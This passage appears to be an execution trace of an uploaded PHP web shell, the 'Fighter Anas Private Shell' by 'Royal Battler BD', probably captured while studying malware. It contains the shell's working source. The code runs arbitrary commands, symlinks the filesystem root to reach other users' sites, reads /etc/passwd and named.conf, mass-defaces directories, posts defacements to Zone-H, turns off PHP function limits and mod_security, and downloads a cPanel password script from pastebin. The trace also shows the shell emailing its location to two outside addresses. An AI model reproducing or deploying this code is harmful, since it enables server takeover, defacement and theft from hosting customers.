fopen("/hsphere/local/config/httpd/sites/sites.txt","r");\n            while($getss = fgets($fp)) {\n                echo $getss;\n            }\n            echo  \'</textarea><br>\n                  <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">\n                  </form></center>\';\n        }\n    } elseif(preg_match("/vhosts|vhost/", $dir)) {\n        preg_match("/\\/var\\/www\\/(.*?)\\//", $dir, $vh);\n        $urls = explode("\\r\\n", $_POST[\'url\']);\n        if(isset($_POST[\'jump\'])) {\n            echo "<pre>";\n            foreach($urls as $url) {\n                $url = str_replace("www.", "", $url);\n                $web_vh = "/var/www/".$vh[1]."/$url/httpdocs";\n                if(is_dir($web_vh) === true) {\n                    if(is_readable($web_vh)) {\n                        $i++;\n                        $jrw = "[<font color=lime>R</font>] <a href=\'?dir=$web_vh\'><font color=gold>$web_vh</font></a>";\n                        if(is_writable($web_vh)) {\n                            $jrw = "[<font color=lime>RW</font>] <a href=\'?dir=$web_vh\'><font color=gold>$web_vh</font></a>";\n                        }\n                        echo $jrw."<br>";\n                    }\n                }\n            }\n        if($i == 0) { \n        } else {\n            echo "<br>Total ada ".$i." Kamar di ".$ip;\n        }\n        echo "</pre>";\n        } else {\n            echo \'<center>\n                  <form method="post">\n                  List Domains: <br>\n                  <textarea name="url" style="width: 500px; height: 250px;">\';\n                  bing("ip:$ip");\n            echo  \'</textarea><br>\n                  <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">\n                  </form></center>\';\n        }\n    } else {\n        echo "<pre>";\n        $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can\'t read /etc/passwd</font>");\n        while($passwd = fgets($etc)) {\n            if($passwd == \'\' || !$etc) {\n                echo "<font color=red>Can\'t read /etc/passwd</font>";\n            } else {\n                preg_match_all(\'/(.*?):x:/\', $passwd, $user_jumping);\n                foreach($user_jumping[1] as $user_idx_jump) {\n                    $user_jumping_dir = "/home/$user_idx_jump/public_html";\n                    if(is_readable($user_jumping_dir)) {\n                        $i++;\n                        $jrw = "[<font color=lime>R</font>] <a href=\'?dir=$user_jumping_dir\'><font color=gold>$user_jumping_dir</font></a>";\n                        if(is_writable($user_jumping_dir)) {\n                            $jrw = "[<font color=lime>RW</font>] <a href=\'?dir=$user_jumping_dir\'><font color=gold>$user_jumping_dir</font></a>";\n                        }\n                        echo $jrw;\n                        if(function_exists(\'posix_getpwuid\')) {\n                            $domain_jump = file_get_contents("/etc/named.conf");    \n                            if($domain_jump == \'\') {\n                                echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";\n                            } else {\n                                preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);\n                                foreach($domains_jump[1] as $dj) {\n                                    $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));\n                                    $user_jumping_url = $user_jumping_url[\'name\'];\n                                    if($user_jumping_url == $user_idx_jump) {\n                                        echo " => ( <u>$dj</u> )<br>";\n                                        break;\n                                    }\n                                }\n                            }\n                        } else {\n                            echo "<br>";\n                        }\n                    }\n                }\n            }\n        }\n        if($i == 0) { \n        } else {\n            echo "<br>Total ada ".$i." Kamar di ".$ip;\n        }\n        echo "</pre>";\n    }\n    echo "</div>";\n\n//Zone-H Mass Poster\n} elseif($_GET[\'a\'] == \'zone-h\') {\n    if($_POST[\'submit\']) {\n$domain = explode("\\r\\n", $_POST[\'url\']);\n$nick =  $_POST[\'nick\'];\necho "<font color=red>Defacer Onhold : <a href=\'http://www.zone-h.org/archive/notifier=$nick/published=0\' target=\'_blank\'><font color=yellow>http://www.zone-h.org/archive/notifier=$nick/published=0</a></font><br>";\necho "<font color=red>Defacer Archive : <a href=\'http://www.zone-h.org/archive/notifier=$nick\' target=\'_blank\'><font color=yellow>http://www.zone-h.org/archive/notifier=$nick</a></font><br><br>";\nfunction zoneh($url,$nick) {\n    $ch = curl_init("http://www.zone-h.com/notify/single");\n          curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n          curl_setopt($ch, CURLOPT_POST, true);\n          curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");\n    return curl_exec($ch);\n          curl_close($ch);\n}\nforeach($domain as $url) {\n    $zoneh = zoneh($url,$nick);\n    if(preg_match("/color=\\"red\\">OK<\\/font><\\/li>/i", $zoneh)) {\n        echo "$url -> <font color=yellow>-> OK</font><br>";\n    } else {\n        echo "$url -> <font color=red>-> ERROR</font><br>";\n    }\n}\n    } else {\necho "<center><font color=yellow size=3> Zone-H Mass Submit</center><br>\n        <form method=\'post\'>\n<u>Defacer</u>: <br>\n<input type=\'text\' name=\'nick\' size=\'50\' value=\'Royal Battler BD\'><br>\n<u>Domain</u>: <br>\n<textarea style=\'width: 450px; height: 150px;\' name=\'url\'></textarea><br>\n<input type=\'submit\' name=\'submit\' value=\'Submit\' style=\'width: 450px;\'>\n</form></font>";\n    }\n    echo "</center>";\n\n//MASS Deface\n} elseif(isset($_GET[\'a\']) && ($_GET[\'a\'] == \'mass_deface\')){\n    function sabun_massal($dir,$namafile,$isi_script) {\n        foreach($j as $lokasi)\n        if(is_writable($dir)) {\n            $dira = scandir($dir);\n            foreach($dira as $dirb) {\n                $dirc = "$dir/$dirb";\n                $lokasi = $dirc.\'/\'.$namafile;\n                if($dirb === \'.\') {\n                    file_put_contents($lokasi, $isi_script);\n                } elseif($dirb === \'..\') {\n                    file_put_contents($lokasi, $isi_script);\n                } else {\n                    if(is_dir($dirc)) {\n                        if(is_writable($dirc)) {\n                            \n                            echo "[<font color=#5ddcfc>Selesai Gan</font>] $lokasi<br>";\n                            file_put_contents($lokasi, $isi_script);\n                            $idx = sabun_massal($dirc,$namafile,$isi_script);\n                        }\n                    }\n                }\n            }\n        }\n    }\n    function sabun_biasa($dir,$namafile,$isi_script) {\n        if(is_writable($dir)) {\n            $dira = scandir($dir);\n            foreach($dira as $dirb) {\n                $dirc = "$dir/$dirb";\n                $lokasi = $dirc.\'/\'.$namafile;\n                if($dirb === \'.\') {\n                    file_put_contents($lokasi, $isi_script);\n                } elseif($dirb === \'..\') {\n                    file_put_contents($lokasi, $isi_script);\n                } else {\n                    if(is_dir($dirc)) {\n                        if(is_writable($dirc)) {\n                            echo "[<font color=#5ddcfc>Selesai Gan</font>] $dirb/$namafile<br>";\n                            file_put_contents($lokasi, $isi_script);\n                        }\n                    }\n                }\n            }\n        }\n    }\n    if($_POST[\'start\']) {\n        if($_POST[\'tipe_sabun\'] == \'mahal\') {\n            echo "<div style=\'margin: 5px auto; padding: 5px\'>";\n            sabun_massal($_POST[\'d_dir\'], $_POST[\'d_file\'], $_POST[\'script\']);\n            echo "</div>";\n        } elseif($_POST[\'tipe_sabun\'] == \'murah\') {\n            echo "<div style=\'margin: 5px auto; padding: 5px\'>";\n            sabun_biasa($_POST[\'d_dir\'], $_POST[\'d_file\'], $_POST[\'script\']);\n            echo "</div>";\n        }\n    } else {\n    echo "<center>";\n    echo "<form method=\'post\'>\n    <font style=\'text-decoration: underline;\'>Type  of mass :</font><br>\n    <input type=\'radio\' name=\'tipe_sabun\' value=\'murah\' checked>All Dir mass deface<input type=\'radio\' name=\'tipe_sabun\' value=\'mahal\'>1 Dir<br>\n    <font style=\'text-decoration: underline;\'>Folder :</font><br>\n    <input type=\'text\' name=\'d_dir\' value=\'$path\' style=\'width: 450px;\' height=\'10\'><br>\n    <font style=\'text-decoration: underline;\'>Filename :</font><br>\n    <input type=\'text\' name=\'d_file\' value=\'index.php\' style=\'width: 450px;\' height=\'10\'><br>\n    <font style=\'text-decoration: underline;\'>Deface page :</font><br>\n    <textarea name=\'script\' style=\'width: 450px; height: 200px;\'>past here your fucking deface page bro</textarea><br>\n    <input type=\'submit\' name=\'start\' value=\'Mass Deface\' style=\'width: 450px;\'>\n    </form></center>";\n    }\n    \n\n#CHANGEPASSWORDCP\n } elseif($_GET[\'a\'] == \'getcp\') {\n    $full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $dir);\n    function getcp($url, $isi) {\n        $fp = fopen($isi, "w");\n        $ch = curl_init();\n              curl_setopt($ch, CURLOPT_URL, $url);\n              curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);\n              curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n              curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n              curl_setopt($ch, CURLOPT_FILE, $fp);\n        return curl_exec($ch);\n              curl_close($ch);\n        fclose($fp);\n        ob_flush();\n        flush();\n    }\n    if(file_exists(\'getcp.php\')) {\n        echo "<center><font color=lime><a href=\'$full/getcp.php\' target=\'_blank\'>-> click >:( <-</a></font></center>";\n    } else {\n        if(getcp("https://pastebin.com/raw/bsL2gBtu","getcp.php")) {\n            echo "<center><font color=lime><a href=\'$full/getcp.php\' target=\'_blank\'> okk</a></font></center>";\n        } else {\n            echo "<center><font color=red>Error :(</font></center>";\n        }\n    }\n\n\n} elseif($_GET[\'a\'] == \'disablefunc\'){\n        echo "<br><br><center>";\n        echo "<form method=post><input type=submit name=ini value=\'php.ini\' />&nbsp;<input type=submit name=htce value=\'.htaccess\' />&nbsp;<input type=submit name=litini value=\'Litespeed\' /></form>";\n        if(isset($_POST[\'ini\']))\n{\n        $file = fopen("php.ini","w");\n        echo fwrite($file,"disable_functions=none\nsafe_mode = Off\n    ");\n        fclose($file);\n        echo "<a href=\'php.ini\'>click here!</a>";\n}       if(isset($_POST[\'htce\']))\n{\n        $file = fopen(".htaccess","w");\n        echo fwrite($file,"<IfModule mod_security.c>\nSecFilterEngine Off\nSecFilterScanPOST Off\n</IfModule>\n    ");\n        fclose($file);\n        echo "htaccess successfully created!";\n}               if(isset($_POST[\'litini\'])){\n        $iniph = \'<? n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["file"]); n ini_restore("safe_mode"); n ini_restore("open_basedir"); n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["ss"]; n ?>\';\n             $byph = "safe_mode = Off n disable_functions= ";\n        $comp="PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=";\n        file_put_contents("php.ini",base64_decode($byph));\n        file_put_contents("ini.php",base64_decode($iniph));\n        file_put_contents(".htaccess",base64_decode($comp));\n        echo "<script>alert(\'Disable Functions in Litespeed Created\'); hideAll();</script>";\n        echo"</center>";\n}\n\n}\nelseif($_GET[\'a\'] == \'symlink\') {\n$full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $path);\n$d0mains = @file("/etc/named.conf");\n##httaces\nif($d0mains){\n@mkdir("fighter_sym",0777);\n@chdir("fighter_sym");\n@exe("ln -s / root");\n$file3 = \'Options Indexes FollowSymLinks\nDirectoryIndex fighter.htm\nAddType text/plain .php\nAddHandler text/plain .php\nSatisfy Any\';\n$fp3 = fopen(\'.htaccess\',\'w\');\n$fw3 = fwrite($fp3,$file3);@fclose($fp3);\necho "<br>\n<table align=center border=1 style=\'width:60%;border-color:#333333;\'>\n<tr>\n<td align=center><font size=2>S. No.</font></td>\n<td align=center><font size=2>Domains</font></td>\n<td align=center><font size=2>Users</font></td>\n<td align=center><font size=2>Symlink</font></td>\n</tr>";\n$dcount = 1;\nforeach($d0mains as $d0main){\nif(eregi("zone",$d0main)){preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);\nflush();\nif(strlen(trim($domains[1][0])) > 2){\n$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));\necho "<tr align=center><td><font size=2>" . $dcount . "</font></td>\n<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>\n<td>".$user[\'name\']."</td>\n<td><a href=\'$full/fighter_sym/root/home/".$user[\'name\']."/public_html\' target=\'_blank\'><font class=txt>Symlink</font></a></td></tr>";\nflush();\n$dcount++;}}}\necho "</table>";\n}else{\n$TEST=@file(\'/etc/passwd\');\nif ($TEST){\n@mkdir("fighter_sym",0777);\n@chdir("fighter_sym");\nexe("ln -s / root");\n$file3 = \'Options Indexes FollowSymLinks\nDirectoryIndex fighter.htm\nAddType text/plain .php\nAddHandler text/plain .php\nSatisfy Any\';\n $fp3 = fopen(\'.htaccess\',\'w\');\n $fw3 = fwrite($fp3,$file3);\n @fclose($fp3);\n echo "\n <table align=center border=1><tr>\n <td align=center><font size=3>S. No.</font></td>\n <td align=center><font size=3>Users</font></td>\n <td align=center><font size=3>Symlink</font></td></tr>";\n $dcount = 1;\n $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");\n while(!feof($file)){\n $s = fgets($file);\n $matches = array();\n $t = preg_match(\'/\\/(.*?)\\:\\//s\', $s, $matches);\n $matches = str_replace("home/","",$matches[1]);\n if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")\n continue;\n echo "<tr><td align=center><font size=2>" . $dcount . "</td>\n <td align=center><font class=txt>" . $matches . "</td>";\n echo "<td align=center><font class=txt><a href=$full/fighter_sym/root/home/" . $matches . "/public_html target=\'_blank\'>Symlink</a></td></tr>";\n $dcount++;}fclose($file);\n echo "</table>";}else{if($os != "Windows"){@mkdir("fighter_sym",0777);@chdir("fighter_sym");@exe("ln -s / root");$file3 = \'\n Options Indexes FollowSymLinks\nDirectoryIndex fighter.htm\nAddType text/plain .php\nAddHandler text/plain .php\nSatisfy Any\n\';\n $fp3 = fopen(\'.htaccess\',\'w\');\n $fw3 = fwrite($fp3,$file3);@fclose($fp3);\n echo "\n <div class=\'mybox\'><h2 class=\'k2ll33d2\'>server symlinker</h2>\n <table align=center border=1><tr>\n <td align=center><font size=3>ID</font></td>\n <td align=center><font size=3>Users</font></td>\n <td align=center><font size=3>Symlink</font></td></tr>";\n $temp = "";$val1 = 0;$val2 = 1000;\n for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);\n if ($uid)$temp .= join(\':\',$uid)."\\n";}\n echo \'<br/>\';$temp = trim($temp);$file5 =\n fopen("test.txt","w");\n fputs($file5,$temp);\n fclose($file5);$dcount = 1;$file =\n fopen("test.txt", "r") or exit("Unable to open file!");\n while(!feof($file)){$s = fgets($file);$matches = array();\n $t = preg_match(\'/\\/(.*?)\\:\\//s\', $s, $matches);$matches = str_replace("home/","",$matches[1]);\n if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")\n continue;\n echo "<tr><td align=center><font size=2>" . $dcount . "</td>\n <td align=center><font class=txt>" . $matches . "</td>";\n echo "<td align=center><font class=txt><a href=$full/fighter_sym/root/home/" . $matches . "/public_html target=\'_blank\'>Symlink</a></td></tr>";\n $dcount++;}\n fclose($file);\n echo "</table></div></center>";unlink("test.txt");\n } else\n echo "<center><font size=3>Can not create Symlink</font></center>";\n }\n }\n\n##JUMPING \n} elseif($_GET[\'a\'] == \'jumping\') {\n    $i = 0;\n    echo "<pre><div class=\'margin: 5px auto;\'>";\n    $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can\'t read /etc/passwd</font>");\n    while($passwd = fgets($etc)) {\nif($passwd == \'\' || !$etc) {\n    echo "<font color=red>Can\'t read /etc/passwd</font>";\n} else {\n    preg_match_all(\'/(.*?):x:/\', $passwd, $user_jumping);\n    foreach($user_jumping[1] as $user_idx_jump) {\n        $user_jumping_dir = "/home/$user_idx_jump/public_html";\n        if(is_readable($user_jumping_dir)) {\n            $i++;\n            $jrw = "[<font color=#5ddcfc>R</font>] <a href=\'?dir=$user_jumping_dir\'><font color=red>$user_jumping_dir</font></a>";\n            if(is_writable($user_jumping_dir)) {\n                $jrw = "[<font color=#5ddcfc>RW</font>] <a href=\'?dir=$user_jumping_dir\'><font color=#5ddcfc>$user_jumping_dir</font></a>";\n            }\n            echo $jrw;\n            if(function_exists(\'posix_getpwuid\')) {\n                $domain_jump = file_get_contents("/etc/named.conf");   \n                if($domain_jump == \'\') {\n                    echo " => ( <font color=red>gagal mengambil nama domain nya</font> )<br>";\n                } else {\n                    preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);\n                    foreach($domains_jump[1] as $dj) {\n                        $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));\n                        $user_jumping_url = $user_jumping_url[\'name\'];\n                        if($user_jumping_url == $user_idx_jump) {\n                            echo " => ( <u>$dj</u> )<br>";\n                            break;\n                        }\n                    }\n                }\n            } else {\n                echo "<br>";\n            }\n        }\n    }\n}\n    }\n    if($i == 0) {\n    } else {\necho "<br>Total ada ".$i." Kamar di ".gethostbyname($_SERVER[\'HTTP_HOST\'])."";\n    \n    echo "</div></pre>";\n        }\n\n    \n\n\n//CONFIG\n\n} elseif($_GET[\'a\'] == \'cmd\') {\n    echo "<form method=\'post\'>\n    <font style=\'text-decoration: underline;\'>".$user."@".$ip.": ~ $ </font>\n    <input type=\'text\' size=\'30\' height=\'10\' name=\'cmd\'><input type=\'submit\' name=\'do_cmd\' value=\'>>\'>\n    </form>";\n    if($_POST[\'do_cmd\']) {\n        echo "<pre>".exe($_POST[\'cmd\'])."</pre>";\n    }\n\n//START\n} elseif(isset($_GET[\'filesrc\'])){\necho "<tr><td>Current File : ";\necho $_GET[\'filesrc\'];\necho \'</tr></td></table><br />\';\necho(\' <center><textarea style="width:80%;height:50%;" readonly> \'.htmlspecialchars(file_get_contents($_GET[\'filesrc\'])).\'</textarea></center>\');\n}elseif(isset($_GET[\'option\']) && $_POST[\'opt\'] != \'delete\'){\necho \'</table><br />\'.$_POST[\'path\'].\'<br /><br />\';\nif($_POST[\'opt\'] == \'chmod\'){\nif(isset($_POST[\'perm\'])){\nif(chmod($_POST[\'path\'],$_POST[\'perm\'])){\necho \'<font color="yellow">  Permission Okk</font><br />\';\n}else{\necho \'<font color="RED"> Permission error</font><br />\';\n}\n}\necho \'<form method="POST">\nPermission : <input name="perm" type="text" size="4" value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'path\'])), -4).\'" />\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\n<input type="hidden" name="opt" value="chmod">\n<input type="submit" value="Chmod" />\n</form>\';\n}elseif($_POST[\'opt\'] == \'rename\'){\nif(isset($_POST[\'newname\'])){\nif(rename($_POST[\'path\'],$path.\'/\'.$_POST[\'newname\'])){\necho \'<font color="yellow">Done</font><br />\';\n}else{\necho \'<font color="RED">error </font><br />\';\n}\n$_POST[\'name\'] = $_POST[\'newname\'];\n}\necho \'<form method="POST">\nNama Baru : <input name="newname" type="text" size="30" value="\'.$_POST[\'name\'].\'" />\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\n<input type="hidden" name="opt" value="rename">\n<input type="submit" value="Ubah Nama" />\n</form>\';\n}elseif($_POST[\'opt\'] == \'edit\'){\nif(isset($_POST[\'src\'])){\n$fp = fopen($_POST[\'path\'],\'w\');\nif(fwrite($fp,$_POST[\'src\'])){\necho \'<font color="yellow">Edit File Done</font><br />\';\n}else{\necho \'<font color="RED">Edit File Error</font><br />\';\n}\nfclose($fp);\n}\necho \'<form method="POST">\n<textarea cols=140 rows=20 name="src">\'.htmlspecialchars(file_get_contents($_POST[\'path\'])).\'</textarea><br />\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\n<input type="hidden" name="opt" value="edit">\n<input type="submit" value="Edit File" />\n</form>\';\n}\necho \'</center>\';\n}else{\necho \'</table><br /><center>\';\nif(isset($_GET[\'option\']) && $_POST[\'opt\'] == \'delete\'){\nif($_POST[\'type\'] == \'dir\'){\nif(rmdir($_POST[\'path\'])){\necho \'<font color="yellow">Done</font><br />\';\n}else{\necho \'<font color="red"> Error</font><br />\';\n}\n}elseif($_POST[\'type\'] == \'file\'){\nif(unlink($_POST[\'path\'])){\necho \'<font color="yellow">Done</font><br />\';\n}else{\necho \'<font color="#red"> Error</font><br />\';\n}\n}\n}\n        \necho \'</center>\';\n$scandir = scandir($path);\necho \'<div id="content"><table width="700px" border="0" cellpadding="4" cellspacing="1" align="center">\n<tr class="first">\n<b><td><center><font color=black size=3>Name</font></center></td></b>\n<b><td><center><font color=black size=3>Size</font></center></td></b>\n<b><td><center><font color=black size=3>Permissions</font></center></td></b>\n<b><td><center><font color=black size=3>Options</font></center></td></b>\n</tr>\';\n\nforeach($scandir as $dir){\nif(!is_dir("$path/$dir") || $dir == \'.\' || $dir == \'..\') continue;\necho "<td class=\'td_home\'><img src=\'data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=\'>\n<a href=\\"?path=$path/$dir\\"><font color=red>$dir</font></a></td>\n<td><center><font color=red>Directory</font></center></td>\n<td><center>";\n    \nif(is_writable("$path/$dir")) echo \'<font color="yellow">\';\nelseif(!is_readable("$path/$dir")) echo \'<font color="red">\';\necho perms("$path/$dir");\nif(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo \'</font>\';\n\necho "</center></td>\n<td><center><form method=\\"POST\\" action=\\"?option&path=$path\\">\n<select name=\\"opt\\">\n<option value=\\"Select\\">Select</option>\n<option value=\\"delete\\">Delete</option>\n<option value=\\"chmod\\">Chmod</option>\n<option value=\\"rename\\">Rename</option>\n</select>\n<input type=\\"hidden\\" name=\\"type\\" value=\\"dir\\">\n<input type=\\"hidden\\" name=\\"name\\" value=\\"$dir\\">\n<input type=\\"hidden\\" name=\\"path\\" value=\\"$path/$dir\\">\n<input type=\\"submit\\" value=\\">\\" />\n</form></center></td>\n</tr>";\n}\necho \'<tr class="first"><td></td><td></td><td></td><td></td></tr>\';\nforeach($scandir as $file){\nif(!is_file("$path/$file")) continue;\n$size = filesize("$path/$file")/1024;\n$size = round($size,3);\nif($size >= 1024){\n$size = round($size/1024,2).\' MB\';\n}else{\n$size = $size.\' KB\';\n}\n\necho "<tr>\n<td><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=\'>\n<a href=\\"?filesrc=$path/$file&path=$path\\"><font color=red>$file</font></a></td>\n<td><center><font color=Red>".$size."</font></center></td>\n<td><center>";\nif(is_writable("$path/$file")) echo \'<font color=yellow>\';\nelseif(!is_readable("$path/$file")) echo \'<font color=red>\';\necho perms("$path/$file");\nif(is_writable("$path/$file") || !is_readable("$path/$file")) echo \'</font>\';\necho "</center></td>\n<td><center><form method=\\"POST\\" action=\\"?option&path=$path\\">\n<select name=\\"opt\\">\n<option value=\\"Select\\">Select</option>\n<option value=\\"delete\\">Delete</option>\n<option value=\\"chmod\\">Chmod</option>\n<option value=\\"rename\\">Rename</option>\n<option value=\\"edit\\">Edit</option>\n</select>\n<input type=\\"hidden\\" name=\\"type\\" value=\\"file\\">\n<input type=\\"hidden\\" name=\\"name\\" value=\\"$file\\">\n<input type=\\"hidden\\" name=\\"path\\" value=\\"$path/$file\\">\n<input type=\\"submit\\" value=\\">\\" />\n</form></center></td>\n</tr>";\n}\necho \'</table>\n</div>\';\n}\necho \'<br />\n<center>\n<font size=3 ; color=white>Fighter Anas Private Shell V.1 - <font size=3 ; color=red>Royal<font size=3 ; color=white>Battler BD<br><font size=4 ; color=white>Copyright &copy; Fighter Anas</font></br>\n\n</body>\n</html>\';\nfunction perms($file){\n$perms = fileperms($file);\n\nif (($perms & 0xC000) == 0xC000) {\n// Socket\n$info = \'s\';\n} elseif (($perms & 0xA000) == 0xA000) {\n// Symbolic Link\n$info = \'l\';\n} elseif (($perms & 0x8000) == 0x8000) {\n// Regular\n$info = \'-\';\n} elseif (($perms & 0x6000) == 0x6000) {\n// Block special\n$info = \'b\';\n} elseif (($perms & 0x4000) == 0x4000) {\n// Directory\n$info = \'d\';\n} elseif (($perms & 0x2000) == 0x2000) {\n// Character special\n$info = \'c\';\n} elseif (($perms & 0x1000) == 0x1000) {\n// FIFO pipe\n$info = \'p\';\n} else {\n// Unknown\n$info = \'u\';\n}\n\n// Owner\n$info .= (($perms & 0x0100) ? \'r\' : \'-\');\n$info .= (($perms & 0x0080) ? \'w\' : \'-\');\n$info .= (($perms & 0x0040) ?\n(($perms & 0x0800) ? \'s\' : \'x\' ) :\n(($perms & 0x0800) ? \'S\' : \'-\'));\n\n// Group\n$info .= (($perms & 0x0020) ? \'r\' : \'-\');\n$info .= (($perms & 0x0010) ? \'w\' : \'-\');\n$info .= (($perms & 0x0008) ?\n(($perms & 0x0400) ? \'s\' : \'x\' ) :\n(($perms & 0x0400) ? \'S\' : \'-\'));\n\n// World\n$info .= (($perms & 0x0004) ? \'r\' : \'-\');\n$info .= (($perms & 0x0002) ? \'w\' : \'-\');\n$info .= (($perms & 0x0001) ?\n(($perms & 0x0200) ? \'t\' : \'x\' ) :\n(($perms & 0x0200) ? \'T\' : \'-\'));\n\nreturn $info;\n}'	/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code	4	0
5	26	0	0.007685	967752	ini_set	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1	2	'output_buffering'	0
5	26	1	0.007705	967824
5	26	R			FALSE
5	27	0	0.007720	967752	ini_set	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	2	2	'display_errors'	0
5	27	1	0.007739	967824
5	27	R			''
5	28	0	0.007753	967752	set_time_limit	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	3	1	0
5	28	1	0.007770	967816
5	28	R			FALSE
5	29	0	0.007783	967784	ini_set	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	4	2	'memory_limit'	'64M'
5	29	1	0.007798	967888
5	29	R			'128M'
5	30	0	0.007811	967784	header	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	5	1	'Content-Type: text/html; charset=UTF-8'
5	30	1	0.007830	967960
5	30	R			NULL
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	6	$tujuanmail = 'serverphpshell@gmail.com'
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	7	$tujuanmail1 = '13shell37@gmail.com'
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	8	$x_path = 'http://localhost/uploads/RBBD.php'
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	9	$pesan_alert = 'fix http://localhost/uploads/RBBD.php :p *IP Address : [ 127.0.0.1 ]'
5	31	0	0.007899	968128	mail	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	10	4	'serverphpshell@gmail.com'	'LOGGER'	'fix http://localhost/uploads/RBBD.php :p *IP Address : [ 127.0.0.1 ]'	'[ 127.0.0.1 ]'
5	31	1	0.008801	968272
5	31	R			FALSE
5	32	0	0.008832	968128	mail	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	11	4	'13shell37@gmail.com'	'LOGGER'	'fix http://localhost/uploads/RBBD.php :p *IP Address : [ 127.0.0.1 ]'	'[ 127.0.0.1 ]'
5	32	1	0.009678	968272
5	32	R			FALSE
